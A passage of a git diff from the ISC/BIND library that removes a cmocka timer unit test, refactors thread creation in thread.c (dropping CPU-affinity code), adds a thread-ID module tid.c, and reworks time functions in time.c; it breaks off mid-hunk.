-		set_global_error(ISC_R_UNEXPECTED);
-	}
-}
-#define subthread_assert_true(expected) \
-	subthread_assert_true(expected, __FILE__, __LINE__)
-
-static void
-subthread_assert_int_equal(int observed, int expected, const char *file,
-			   unsigned int line) {
-	if (observed != expected) {
-		printf("# %s:%u subthread_assert_int_equal(%d != %d)\n", file,
-		       line, observed, expected);
-		set_global_error(ISC_R_UNEXPECTED);
-	}
-}
-#define subthread_assert_int_equal(observed, expected) \
-	subthread_assert_int_equal(observed, expected, __FILE__, __LINE__)
-
-static void
-subthread_assert_result_equal(isc_result_t result, isc_result_t expected,
-			      const char *file, unsigned int line) {
-	if (result != expected) {
-		printf("# %s:%u subthread_assert_result_equal(%u != %u)\n",
-		       file, line, result, expected);
-		set_global_error(result);
-	}
-}
-#define subthread_assert_result_equal(observed, expected) \
-	subthread_assert_result_equal(observed, expected, __FILE__, __LINE__)
-
-static void
-ticktock(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
-	isc_time_t now;
-	isc_time_t base;
-	isc_time_t ulim;
-	isc_time_t llim;
-	isc_interval_t interval;
-	isc_eventtype_t expected_event_type;
-
-	int tick = atomic_fetch_add(&eventcnt, 1);
-
-	if (verbose) {
-		print_message("# tick %d\n", tick);
-	}
-
-	expected_event_type = ISC_TIMEREVENT_LIFE;
-	if ((uintptr_t)event->ev_arg == isc_timertype_ticker) {
-		expected_event_type = ISC_TIMEREVENT_TICK;
-	}
-
-	if (event->ev_type != expected_event_type) {
-		print_error("# expected event type %u, got %u\n",
-			    expected_event_type, event->ev_type);
-	}
-
-	result = isc_time_now(&now);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	isc_interval_set(&interval, seconds, nanoseconds);
-	isc_mutex_lock(&lasttime_mx);
-	result = isc_time_add(&lasttime, &interval, &base);
-	isc_mutex_unlock(&lasttime_mx);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	isc_interval_set(&interval, FUDGE_SECONDS, FUDGE_NANOSECONDS);
-	result = isc_time_add(&base, &interval, &ulim);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	result = isc_time_subtract(&base, &interval, &llim);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	subthread_assert_true(isc_time_compare(&llim, &now) <= 0);
-	subthread_assert_true(isc_time_compare(&ulim, &now) >= 0);
-
-	isc_interval_set(&interval, 0, 0);
-	isc_mutex_lock(&lasttime_mx);
-	result = isc_time_add(&now, &interval, &lasttime);
-	isc_mutex_unlock(&lasttime_mx);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	if (atomic_load(&eventcnt) == nevents) {
-		result = isc_time_now(&endtime);
-		subthread_assert_result_equal(result, ISC_R_SUCCESS);
-		isc_timer_detach(&timer);
-		isc_task_shutdown(task);
-	}
-
-	isc_event_free(&event);
-}
-
-/*
- * Individual unit tests
- */
-
-/* timer type ticker */
-static void
-ticker(void **state) {
-	isc_time_t expires;
-	isc_interval_t interval;
-
-	UNUSED(state);
-
-	nevents = 12;
-	seconds = 0;
-	nanoseconds = 500000000;
-
-	isc_interval_set(&interval, seconds, nanoseconds);
-	isc_time_settoepoch(&expires);
-
-	setup_test(isc_timertype_ticker, &expires, &interval, ticktock);
-}
-
-/* timer type once reaches lifetime */
-static void
-once_life(void **state) {
-	isc_result_t result;
-	isc_time_t expires;
-	isc_interval_t interval;
-
-	UNUSED(state);
-
-	nevents = 1;
-	seconds = 1;
-	nanoseconds = 100000000;
-
-	isc_interval_set(&interval, seconds, nanoseconds);
-	result = isc_time_nowplusinterval(&expires, &interval);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_interval_set(&interval, 0, 0);
-
-	setup_test(isc_timertype_once, &expires, &interval, ticktock);
-}
-
-static void
-test_idle(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
-	isc_time_t now;
-	isc_time_t base;
-	isc_time_t ulim;
-	isc_time_t llim;
-	isc_interval_t interval;
-
-	int tick = atomic_fetch_add(&eventcnt, 1);
-
-	if (verbose) {
-		print_message("# tick %d\n", tick);
-	}
-
-	result = isc_time_now(&now);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	isc_interval_set(&interval, seconds, nanoseconds);
-	isc_mutex_lock(&lasttime_mx);
-	result = isc_time_add(&lasttime, &interval, &base);
-	isc_mutex_unlock(&lasttime_mx);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	isc_interval_set(&interval, FUDGE_SECONDS, FUDGE_NANOSECONDS);
-	result = isc_time_add(&base, &interval, &ulim);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	result = isc_time_subtract(&base, &interval, &llim);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	subthread_assert_true(isc_time_compare(&llim, &now) <= 0);
-	subthread_assert_true(isc_time_compare(&ulim, &now) >= 0);
-
-	isc_interval_set(&interval, 0, 0);
-	isc_mutex_lock(&lasttime_mx);
-	isc_time_add(&now, &interval, &lasttime);
-	isc_mutex_unlock(&lasttime_mx);
-
-	subthread_assert_int_equal(event->ev_type, ISC_TIMEREVENT_IDLE);
-
-	isc_timer_detach(&timer);
-	isc_task_shutdown(task);
-	isc_event_free(&event);
-}
-
-/* timer type once idles out */
-static void
-once_idle(void **state) {
-	isc_result_t result;
-	isc_time_t expires;
-	isc_interval_t interval;
-
-	UNUSED(state);
-
-	nevents = 1;
-	seconds = 1;
-	nanoseconds = 200000000;
-
-	isc_interval_set(&interval, seconds + 1, nanoseconds);
-	result = isc_time_nowplusinterval(&expires, &interval);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_interval_set(&interval, seconds, nanoseconds);
-
-	setup_test(isc_timertype_once, &expires, &interval, test_idle);
-}
-
-/* timer reset */
-static void
-test_reset(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
-	isc_time_t now;
-	isc_time_t base;
-	isc_time_t ulim;
-	isc_time_t llim;
-	isc_time_t expires;
-	isc_interval_t interval;
-
-	int tick = atomic_fetch_add(&eventcnt, 1);
-
-	if (verbose) {
-		print_message("# tick %d\n", tick);
-	}
-
-	/*
-	 * Check expired time.
-	 */
-
-	result = isc_time_now(&now);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	isc_interval_set(&interval, seconds, nanoseconds);
-	isc_mutex_lock(&lasttime_mx);
-	result = isc_time_add(&lasttime, &interval, &base);
-	isc_mutex_unlock(&lasttime_mx);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	isc_interval_set(&interval, FUDGE_SECONDS, FUDGE_NANOSECONDS);
-	result = isc_time_add(&base, &interval, &ulim);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	result = isc_time_subtract(&base, &interval, &llim);
-	subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-	subthread_assert_true(isc_time_compare(&llim, &now) <= 0);
-	subthread_assert_true(isc_time_compare(&ulim, &now) >= 0);
-
-	isc_interval_set(&interval, 0, 0);
-	isc_mutex_lock(&lasttime_mx);
-	isc_time_add(&now, &interval, &lasttime);
-	isc_mutex_unlock(&lasttime_mx);
-
-	int _eventcnt = atomic_load(&eventcnt);
-
-	if (_eventcnt < 3) {
-		subthread_assert_int_equal(event->ev_type, ISC_TIMEREVENT_TICK);
-
-		if (_eventcnt == 2) {
-			isc_interval_set(&interval, seconds, nanoseconds);
-			result = isc_time_nowplusinterval(&expires, &interval);
-			subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-			isc_interval_set(&interval, 0, 0);
-			result = isc_timer_reset(timer, isc_timertype_once,
-						 &expires, &interval, false);
-			subthread_assert_result_equal(result, ISC_R_SUCCESS);
-		}
-	} else {
-		subthread_assert_int_equal(event->ev_type, ISC_TIMEREVENT_LIFE);
-
-		isc_timer_detach(&timer);
-		isc_task_shutdown(task);
-	}
-
-	isc_event_free(&event);
-}
-
-static void
-reset(void **state) {
-	isc_time_t expires;
-	isc_interval_t interval;
-
-	UNUSED(state);
-
-	nevents = 3;
-	seconds = 0;
-	nanoseconds = 750000000;
-
-	isc_interval_set(&interval, seconds, nanoseconds);
-	isc_time_settoepoch(&expires);
-
-	setup_test(isc_timertype_ticker, &expires, &interval, test_reset);
-}
-
-static atomic_bool startflag;
-static atomic_bool shutdownflag;
-static isc_timer_t *tickertimer = NULL;
-static isc_timer_t *oncetimer = NULL;
-static isc_task_t *task1 = NULL;
-static isc_task_t *task2 = NULL;
-
-/*
- * task1 blocks on mx while events accumulate
- * in its queue, until signaled by task2.
- */
-
-static void
-tick_event(isc_task_t *task, isc_event_t *event) {
-	isc_result_t result;
-	isc_time_t expires;
-	isc_interval_t interval;
-
-	UNUSED(task);
-
-	if (!atomic_load(&startflag)) {
-		if (verbose) {
-			print_message("# tick_event %d\n", -1);
-		}
-		isc_event_free(&event);
-		return;
-	}
-
-	int tick = atomic_fetch_add(&eventcnt, 1);
-	if (verbose) {
-		print_message("# tick_event %d\n", tick);
-	}
-
-	/*
-	 * On the first tick, purge all remaining tick events
-	 * and then shut down the task.
-	 */
-	if (tick == 0) {
-		isc_time_settoepoch(&expires);
-		isc_interval_set(&interval, seconds, 0);
-		result = isc_timer_reset(tickertimer, isc_timertype_ticker,
-					 &expires, &interval, true);
-		subthread_assert_result_equal(result, ISC_R_SUCCESS);
-
-		isc_task_shutdown(task);
-	}
-
-	isc_event_free(&event);
-}
-
-static void
-once_event(isc_task_t *task, isc_event_t *event) {
-	if (verbose) {
-		print_message("# once_event\n");
-	}
-
-	/*
-	 * Allow task1 to start processing events.
-	 */
-	atomic_store(&startflag, true);
-
-	isc_event_free(&event);
-	isc_task_shutdown(task);
-}
-
-static void
-shutdown_purge(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-	UNUSED(event);
-
-	if (verbose) {
-		print_message("# shutdown_event\n");
-	}
-
-	/*
-	 * Signal shutdown processing complete.
-	 */
-	atomic_store(&shutdownflag, 1);
-
-	isc_event_free(&event);
-}
-
-/* timer events purged */
-static void
-purge(void **state) {
-	isc_result_t result;
-	isc_time_t expires;
-	isc_interval_t interval;
-
-	UNUSED(state);
-
-	atomic_init(&startflag, 0);
-	atomic_init(&shutdownflag, 0);
-	atomic_init(&eventcnt, 0);
-	seconds = 1;
-	nanoseconds = 0;
-
-	result = isc_task_create(taskmgr, 0, &task1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_task_onshutdown(task1, shutdown_purge, NULL);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = isc_task_create(taskmgr, 0, &task2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_time_settoepoch(&expires);
-	isc_interval_set(&interval, seconds, 0);
-
-	tickertimer = NULL;
-	result = isc_timer_create(timermgr, isc_timertype_ticker, &expires,
-				  &interval, task1, tick_event, NULL,
-				  &tickertimer);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	oncetimer = NULL;
-
-	isc_interval_set(&interval, (seconds * 2) + 1, 0);
-	result = isc_time_nowplusinterval(&expires, &interval);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_interval_set(&interval, 0, 0);
-	result = isc_timer_create(timermgr, isc_timertype_once, &expires,
-				  &interval, task2, once_event, NULL,
-				  &oncetimer);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Wait for shutdown processing to complete.
-	 */
-	while (!atomic_load(&shutdownflag)) {
-		isc_test_nap(1000);
-	}
-
-	assert_int_equal(atomic_load(&errcnt), ISC_R_SUCCESS);
-
-	assert_int_equal(atomic_load(&eventcnt), 1);
-
-	isc_timer_detach(&tickertimer);
-	isc_timer_detach(&oncetimer);
-	isc_task_destroy(&task1);
-	isc_task_destroy(&task2);
-}
-
-int
-main(int argc, char **argv) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(ticker),    cmocka_unit_test(once_life),
-		cmocka_unit_test(once_idle), cmocka_unit_test(reset),
-		cmocka_unit_test(purge),
-	};
-	int c;
-
-	while ((c = isc_commandline_parse(argc, argv, "v")) != -1) {
-		switch (c) {
-		case 'v':
-			verbose = true;
-			break;
-		default:
-			break;
-		}
-	}
-
-	return (cmocka_run_group_tests(tests, _setup, _teardown));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/thread.c b/lib/isc/thread.c
index 21a3cd8029..4c0245dd36 100644
--- a/lib/isc/thread.c
+++ b/lib/isc/thread.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -26,82 +28,125 @@
 #include <sys/types.h>
 #endif /* if defined(HAVE_SYS_PROCSET_H) */
 
+#include <stdlib.h>
+
+#include <isc/atomic.h>
+#include <isc/iterated_hash.h>
 #include <isc/strerr.h>
 #include <isc/thread.h>
+#include <isc/tid.h>
+#include <isc/urcu.h>
 #include <isc/util.h>
 
-#include "trampoline_p.h"
-
 #ifndef THREAD_MINSTACKSIZE
 #define THREAD_MINSTACKSIZE (1024U * 1024)
 #endif /* ifndef THREAD_MINSTACKSIZE */
 
-#define _FATAL(r, f)                                                          \
-	{                                                                     \
-		char strbuf[ISC_STRERRORSIZE];                                \
-		strerror_r(r, strbuf, sizeof(strbuf));                        \
-		isc_error_fatal(__FILE__, __LINE__, f " failed: %s", strbuf); \
-	}
+/*
+ * We can't use isc_mem API here, because it's called too early and the
+ * isc_mem_debugging flags can be changed later causing mismatch between flags
+ * used for isc_mem_get() and isc_mem_put().
+ */
 
-void
-isc_thread_create(isc_threadfunc_t func, isc_threadarg_t arg,
-		  isc_thread_t *thread) {
-	pthread_attr_t attr;
-	isc__trampoline_t *trampoline_arg;
+struct thread_wrap {
+	struct rcu_head rcu_head;
+	isc_threadfunc_t func;
+	void *arg;
+};
+
+static struct thread_wrap *
+thread_wrap(isc_threadfunc_t func, void *arg) {
+	struct thread_wrap *wrap = malloc(sizeof(*wrap));
+	RUNTIME_CHECK(wrap != NULL);
+	*wrap = (struct thread_wrap){
+		.func = func,
+		.arg = arg,
+	};
+	return (wrap);
+}
 
-	trampoline_arg = isc__trampoline_get(func, arg);
+static void *
+thread_body(struct thread_wrap *wrap) {
+	isc_threadfunc_t func = wrap->func;
+	void *arg = wrap->arg;
+	void *ret = NULL;
 
-#if defined(HAVE_PTHREAD_ATTR_GETSTACKSIZE) && \
-	defined(HAVE_PTHREAD_ATTR_SETSTACKSIZE)
-	size_t stacksize;
-#endif /* if defined(HAVE_PTHREAD_ATTR_GETSTACKSIZE) && \
-	* defined(HAVE_PTHREAD_ATTR_SETSTACKSIZE) */
+	/*
+	 * Every thread starts with a malloc() call to prevent memory bloat
+	 * caused by a jemalloc quirk.  We use CMM_ACCESS_ONCE() To stop an
+	 * optimizing compiler from stripping out free(malloc(1)).
+	 */
+	void *jemalloc_enforce_init = NULL;
+	CMM_ACCESS_ONCE(jemalloc_enforce_init) = malloc(1);
+	free(jemalloc_enforce_init);
+
+	free(wrap);
+
+	ret = func(arg);
+
+	return (ret);
+}
+
+static void *
+thread_run(void *wrap) {
+	/*
+	 * Get a thread-local digest context only in new threads.
+	 * The main thread is handled by isc__initialize().
+	 */
+	isc__iterated_hash_initialize();
+
+	rcu_register_thread();
+
+	void *ret = thread_body(wrap);
+
+	isc__iterated_hash_shutdown();
+
+	rcu_unregister_thread();
+
+	return (ret);
+}
+
+void
+isc_thread_main(isc_threadfunc_t func, void *arg) {
+	/*
+	 * Either this thread has not yet been started, so it can become the
+	 * main thread, or it has already been annointed as the chosen zero
+	 */
+	REQUIRE(isc_tid() == ISC_TID_UNKNOWN || isc_tid() == 0);
+	thread_body(thread_wrap(func, arg));
+}
+
+void
+isc_thread_create(isc_threadfunc_t func, void *arg, isc_thread_t *thread) {
 	int ret;
+	pthread_attr_t attr;
 
 	pthread_attr_init(&attr);
 
 #if defined(HAVE_PTHREAD_ATTR_GETSTACKSIZE) && \
 	defined(HAVE_PTHREAD_ATTR_SETSTACKSIZE)
+	size_t stacksize;
 	ret = pthread_attr_getstacksize(&attr, &stacksize);
-	if (ret != 0) {
-		_FATAL(ret, "pthread_attr_getstacksize()");
-	}
+	PTHREADS_RUNTIME_CHECK(pthread_attr_getstacksize, ret);
 
 	if (stacksize < THREAD_MINSTACKSIZE) {
 		ret = pthread_attr_setstacksize(&attr, THREAD_MINSTACKSIZE);
-		if (ret != 0) {
-			_FATAL(ret, "pthread_attr_setstacksize()");
-		}
+		PTHREADS_RUNTIME_CHECK(pthread_attr_setstacksize, ret);
 	}
 #endif /* if defined(HAVE_PTHREAD_ATTR_GETSTACKSIZE) && \
 	* defined(HAVE_PTHREAD_ATTR_SETSTACKSIZE) */
 
-	ret = pthread_create(thread, &attr, isc__trampoline_run,
-			     trampoline_arg);
-	if (ret != 0) {
-		_FATAL(ret, "pthread_create()");
-	}
+	ret = pthread_create(thread, &attr, thread_run, thread_wrap(func, arg));
+	PTHREADS_RUNTIME_CHECK(pthread_create, ret);
 
 	pthread_attr_destroy(&attr);
-
-	return;
 }
 
 void
-isc_thread_join(isc_thread_t thread, isc_threadresult_t *result) {
-	int ret = pthread_join(thread, result);
-	if (ret != 0) {
-		_FATAL(ret, "pthread_join()");
-	}
-}
+isc_thread_join(isc_thread_t thread, void **resultp) {
+	int ret = pthread_join(thread, resultp);
 
-#ifdef __NetBSD__
-#define pthread_setconcurrency(a) (void)a /* nothing */
-#endif					  /* ifdef __NetBSD__ */
-
-void
-isc_thread_setconcurrency(unsigned int level) {
-	(void)pthread_setconcurrency(level);
+	PTHREADS_RUNTIME_CHECK(pthread_join, ret);
 }
 
 void
@@ -134,99 +179,3 @@ isc_thread_yield(void) {
 	pthread_yield_np();
 #endif /* if defined(HAVE_SCHED_YIELD) */
 }
-
-#if defined(HAVE_CPUSET_SETAFFINITY) || defined(HAVE_PTHREAD_SETAFFINITY_NP)
-#if defined(HAVE_CPUSET_SETAFFINITY)
-static int
-getaffinity(cpuset_t *set) {
-	return (cpuset_getaffinity(CPU_LEVEL_WHICH, CPU_WHICH_TID, -1,
-				   sizeof(*set), set));
-}
-static int
-issetaffinity(int cpu, cpuset_t *set) {
-	return ((cpu >= CPU_SETSIZE) ? -1 : CPU_ISSET(cpu, set) ? 1 : 0);
-}
-static int
-setaffinity(int cpu, cpuset_t *set) {
-	CPU_ZERO(set);
-	CPU_SET(cpu, set);
-	return (cpuset_setaffinity(CPU_LEVEL_WHICH, CPU_WHICH_TID, -1,
-				   sizeof(*set), set));
-}
-#elif defined(__NetBSD__)
-static int
-getaffinity(cpuset_t *set) {
-	return (pthread_getaffinity_np(pthread_self(), cpuset_size(set), set));
-}
-static int
-issetaffinity(int cpu, cpuset_t *set) {
-	return (cpuset_isset(cpu, set));
-}
-static int
-setaffinity(int cpu, cpuset_t *set) {
-	cpuset_zero(set);
-	cpuset_set(cpu, set);
-	return (pthread_setaffinity_np(pthread_self(), cpuset_size(set), set));
-}
-#else /* linux ? */
-static int
-getaffinity(cpu_set_t *set) {
-	return (pthread_getaffinity_np(pthread_self(), sizeof(*set), set));
-}
-static int
-issetaffinity(int cpu, cpu_set_t *set) {
-	return ((cpu >= CPU_SETSIZE) ? -1 : CPU_ISSET(cpu, set) ? 1 : 0);
-}
-static int
-setaffinity(int cpu, cpu_set_t *set) {
-	CPU_ZERO(set);
-	CPU_SET(cpu, set);
-	return (pthread_setaffinity_np(pthread_self(), sizeof(*set), set));
-}
-#endif
-#endif
-
-isc_result_t
-isc_thread_setaffinity(int cpu) {
-#if defined(HAVE_CPUSET_SETAFFINITY) || defined(HAVE_PTHREAD_SETAFFINITY_NP)
-	int cpu_id = -1, cpu_aff_ok_counter = -1, n;
-#if defined(HAVE_CPUSET_SETAFFINITY)
-	cpuset_t _set, *set = &_set;
-#define cpuset_destroy(x) ((void)0)
-#elif defined(__NetBSD__)
-	cpuset_t *set = cpuset_create();
-	if (set == NULL) {
-		return (ISC_R_FAILURE);
-	}
-#else /* linux? */
-	cpu_set_t _set, *set = &_set;
-#define cpuset_destroy(x) ((void)0)
-#endif
-
-	if (getaffinity(set) != 0) {
-		cpuset_destroy(set);
-		return (ISC_R_FAILURE);
-	}
-	while (cpu_aff_ok_counter < cpu) {
-		cpu_id++;
-		if ((n = issetaffinity(cpu_id, set)) > 0) {
-			cpu_aff_ok_counter++;
-		} else if (n < 0) {
-			cpuset_destroy(set);
-			return (ISC_R_FAILURE);
-		}
-	}
-	if (setaffinity(cpu_id, set) != 0) {
-		cpuset_destroy(set);
-		return (ISC_R_FAILURE);
-	}
-	cpuset_destroy(set);
-#elif defined(HAVE_PROCESSOR_BIND)
-	if (processor_bind(P_LWPID, P_MYID, cpu, NULL) != 0) {
-		return (ISC_R_FAILURE);
-	}
-#else  /* if defined(HAVE_CPUSET_SETAFFINITY) */
-	UNUSED(cpu);
-#endif /* if defined(HAVE_CPUSET_SETAFFINITY) */
-	return (ISC_R_SUCCESS);
-}
diff --git a/lib/isc/tid.c b/lib/isc/tid.c
new file mode 100644
index 0000000000..397fac1c8f
--- /dev/null
+++ b/lib/isc/tid.c
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdlib.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include <isc/lang.h>
+#include <isc/thread.h>
+#include <isc/tid.h>
+#include <isc/util.h>
+
+/**
+ * Private
+ */
+thread_local uint32_t tid_local = ISC_TID_UNKNOWN;
+
+/*
+ * Zero is a better nonsense value in this case than ISC_TID_UNKNOWN;
+ * avoids things like trying to allocate 32GB of per-thread counters.
+ */
+static uint32_t tid_count = 0;
+
+/**
+ * Protected
+ */
+
+void
+isc__tid_init(uint32_t tid) {
+	REQUIRE(tid_local == ISC_TID_UNKNOWN || tid_local == tid);
+	tid_local = tid;
+}
+
+void
+isc__tid_initcount(uint32_t count) {
+	REQUIRE(tid_count == 0 || tid_count == count);
+	tid_count = count;
+}
+
+/**
+ * Public
+ */
+
+uint32_t
+isc_tid_count(void) {
+	return (tid_count);
+}
diff --git a/lib/isc/time.c b/lib/isc/time.c
index 9ef93879d6..29285937ea 100644
--- a/lib/isc/time.c
+++ b/lib/isc/time.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -21,18 +23,13 @@
 #include <time.h>
 
 #include <isc/log.h>
-#include <isc/platform.h>
-#include <isc/print.h>
+#include <isc/overflow.h>
 #include <isc/strerr.h>
 #include <isc/string.h>
 #include <isc/time.h>
 #include <isc/tm.h>
 #include <isc/util.h>
 
-#define NS_PER_S  1000000000 /*%< Nanoseconds per second. */
-#define NS_PER_US 1000	     /*%< Nanoseconds per microsecond. */
-#define NS_PER_MS 1000000    /*%< Nanoseconds per millisecond. */
-
 #if defined(CLOCK_REALTIME)
 #define CLOCKSOURCE_HIRES CLOCK_REALTIME
 #endif /* #if defined(CLOCK_REALTIME) */
@@ -49,46 +46,15 @@
 #define CLOCKSOURCE_HIRES CLOCKSOURCE
 #endif /* #ifndef CLOCKSOURCE_HIRES */
 
-/*%
- *** Intervals
- ***/
-
-static const isc_interval_t zero_interval = { 0, 0 };
-const isc_interval_t *const isc_interval_zero = &zero_interval;
-
-void
-isc_interval_set(isc_interval_t *i, unsigned int seconds,
-		 unsigned int nanoseconds) {
-	REQUIRE(i != NULL);
-	REQUIRE(nanoseconds < NS_PER_S);
-
-	i->seconds = seconds;
-	i->nanoseconds = nanoseconds;
-}
-
-bool
-isc_interval_iszero(const isc_interval_t *i) {
-	REQUIRE(i != NULL);
-	INSIST(i->nanoseconds < NS_PER_S);
-
-	if (i->seconds == 0 && i->nanoseconds == 0) {
-		return (true);
-	}
-
-	return (false);
-}
-
-/***
- *** Absolute Times
- ***/
-
+#if !defined(UNIT_TESTING)
 static const isc_time_t epoch = { 0, 0 };
 const isc_time_t *const isc_time_epoch = &epoch;
+#endif
 
 void
 isc_time_set(isc_time_t *t, unsigned int seconds, unsigned int nanoseconds) {
 	REQUIRE(t != NULL);
-	REQUIRE(nanoseconds < NS_PER_S);
+	REQUIRE(nanoseconds < NS_PER_SEC);
 
 	t->seconds = seconds;
 	t->nanoseconds = nanoseconds;
@@ -105,7 +71,7 @@ isc_time_settoepoch(isc_time_t *t) {
 bool
 isc_time_isepoch(const isc_time_t *t) {
 	REQUIRE(t != NULL);
-	INSIST(t->nanoseconds < NS_PER_S);
+	INSIST(t->nanoseconds < NS_PER_SEC);
 
 	if (t->seconds == 0 && t->nanoseconds == 0) {
 		return (true);
@@ -114,64 +80,62 @@ isc_time_isepoch(const isc_time_t *t) {
 	return (false);
 }
 
-static inline isc_result_t
-time_now(isc_time_t *t, clockid_t clock) {
+static isc_time_t
+time_now(clockid_t clock) {
+	isc_time_t t;
 	struct timespec ts;
-	char strbuf[ISC_STRERRORSIZE];
 
-	REQUIRE(t != NULL);
-
-	if (clock_gettime(clock, &ts) == -1) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "%s", strbuf);
-		return (ISC_R_UNEXPECTED);
-	}
-
-	if (ts.tv_sec < 0 || ts.tv_nsec < 0 || ts.tv_nsec >= NS_PER_S) {
-		return (ISC_R_UNEXPECTED);
-	}
+	RUNTIME_CHECK(clock_gettime(clock, &ts) == 0);
+	INSIST(ts.tv_sec >= 0 && ts.tv_nsec >= 0 && ts.tv_nsec < NS_PER_SEC);
 
 	/*
 	 * Ensure the tv_sec value fits in t->seconds.
 	 */
-	if (sizeof(ts.tv_sec) > sizeof(t->seconds) &&
-	    ((ts.tv_sec | (unsigned int)-1) ^ (unsigned int)-1) != 0U)
-	{
-		return (ISC_R_RANGE);
-	}
+	INSIST(sizeof(ts.tv_sec) <= sizeof(t.seconds) ||
+	       ((ts.tv_sec | (unsigned int)-1) ^ (unsigned int)-1) == 0U);
 
-	t->seconds = ts.tv_sec;
-	t->nanoseconds = ts.tv_nsec;
+	t.seconds = ts.tv_sec;
+	t.nanoseconds = ts.tv_nsec;
 
-	return (ISC_R_SUCCESS);
+	return (t);
 }
 
-isc_result_t
-isc_time_now_hires(isc_time_t *t) {
-	return time_now(t, CLOCKSOURCE_HIRES);
+isc_time_t
+isc_time_now_hires(void) {
+	return (time_now(CLOCKSOURCE_HIRES));
 }
 
-isc_result_t
-isc_time_now(isc_time_t *t) {
-	return time_now(t, CLOCKSOURCE);
+isc_time_t
+isc_time_now(void) {
+	return (time_now(CLOCKSOURCE));
+}
+
+isc_nanosecs_t
+isc_time_monotonic(void) {
+	struct timespec ts;
+
+	RUNTIME_CHECK(clock_gettime(CLOCK_MONOTONIC, &ts) != -1);
+
+	return (isc_nanosecs_fromtime(((isc_time_t){
+		.seconds = ts.tv_sec,
+		.nanoseconds = ts.tv_nsec,
+	})));
 }
 
 isc_result_t
 isc_time_nowplusinterval(isc_time_t *t, const isc_interval_t *i) {
 	struct timespec ts;
-	char strbuf[ISC_STRERRORSIZE];
 
 	REQUIRE(t != NULL);
 	REQUIRE(i != NULL);
-	INSIST(i->nanoseconds < NS_PER_S);
+	INSIST(i->nanoseconds < NS_PER_SEC);
 
 	if (clock_gettime(CLOCKSOURCE, &ts) == -1) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__, "%s", strbuf);
+		UNEXPECTED_SYSERROR(errno, "clock_gettime()");
 		return (ISC_R_UNEXPECTED);
 	}
 
-	if (ts.tv_sec < 0 || ts.tv_nsec < 0 || ts.tv_nsec >= NS_PER_S) {
+	if (ts.tv_sec < 0 || ts.tv_nsec < 0 || ts.tv_nsec >= NS_PER_SEC) {
 		return (ISC_R_UNEXPECTED);
 	}
 
@@ -189,9 +153,9 @@ isc_time_nowplusinterval(isc_time_t *t, const isc_interval_t *i) {
 
 	t->seconds = ts.tv_sec + i->seconds;
 	t->nanoseconds = ts.tv_nsec + i->nanoseconds;
-	if (t->nanoseconds >= NS_PER_S) {
+	if (t->nanoseconds >= NS_PER_SEC) {
 		t->seconds++;
-		t->nanoseconds -= NS_PER_S;
+		t->nanoseconds -= NS_PER_SEC;
 	}
 
 	return (ISC_R_SUCCESS);
@@ -200,7 +164,7 @@ isc_time_nowplusinterval(isc_time_t *t, const isc_interval_t *i) {
 int
 isc_time_compare(const isc_time_t *t1, const isc_time_t *t2) {
 	REQUIRE(t1 != NULL && t2 != NULL);
-	INSIST(t1->nanoseconds < NS_PER_S && t2->nanoseconds < NS_PER_S);
+	INSIST(t1->nanoseconds < NS_PER_SEC && t2->nanoseconds < NS_PER_SEC);
 
 	if (t1->seconds < t2->seconds) {
 		return (-1);
@@ -220,25 +184,21 @@ isc_time_compare(const isc_time_t *t1, const isc_time_t *t2) {
 isc_result_t
